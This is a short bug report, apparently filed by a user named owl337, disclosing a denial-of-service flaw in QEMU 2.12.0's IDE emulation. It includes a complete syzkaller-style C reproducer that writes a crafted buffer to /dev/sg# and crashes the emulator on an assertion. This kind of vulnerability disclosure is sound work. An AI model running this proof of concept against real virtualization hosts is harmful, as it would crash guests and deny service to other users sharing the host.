1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
|
IDE short PRDT abort
Hi,
QEMU 'hw/ide/core.c:871' Denial of Service Vulnerability in version qemu-2.12.0
run the program in qemu-2.12.0:
#define _GNU_SOURCE
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <stdint.h>
#include <string.h>
static uintptr_t syz_open_dev(uintptr_t a0, uintptr_t a1, uintptr_t a2)
{
if (a0 == 0xc || a0 == 0xb) {
char buf[128];
sprintf(buf, "/dev/%s/%d:%d", a0 == 0xc ? "char" : "block", (uint8_t)a1, (uint8_t)a2);
return open(buf, O_RDWR, 0);
} else {
char buf[1024];
char* hash;
strncpy(buf, (char*)a0, sizeof(buf) - 1);
buf[sizeof(buf) - 1] = 0;
while ((hash = strchr(buf, '#'))) {
*hash = '0' + (char)(a1 % 10);
a1 /= 10;
}
return open(buf, a2, 0);
}
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void loop()
{
long res = 0;
memcpy((void*)0x20000000, "/dev/sg#", 9);
res = syz_open_dev(0x20000000, 0, 2);
if (res != -1)
r[0] = res;
res = syscall(__NR_dup2, r[0], r[0]);
if (res != -1)
r[1] = res;
*(uint8_t*)0x20000ec0 = 0;
*(uint8_t*)0x20000ec1 = 0;
*(uint8_t*)0x20000ec2 = 0;
*(uint8_t*)0x20000ec3 = 0;
*(uint32_t*)0x20000ec8 = 0;
*(uint8_t*)0x20000ed8 = 0;
*(uint8_t*)0x20000ed9 = 0;
*(uint8_t*)0x20000eda = 0;
*(uint8_t*)0x20000edb = 0;
memcpy((void*)0x20000ee0, "\x9c\x4d\xe7\xd5\x0a\x62\x43\xa7\x77\x53\x67\xb3", 12);
syscall(__NR_write, r[1], 0x20000ec0, 0x323);
}
int main()
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
loop();
return 0;
}
this will crash qemu, output information:
qemu-system-x86_64: hw/ide/core.c:843: ide_dma_cb: Assertion `n * 512 == s->sg.size' failed.
Thanks
owl337
|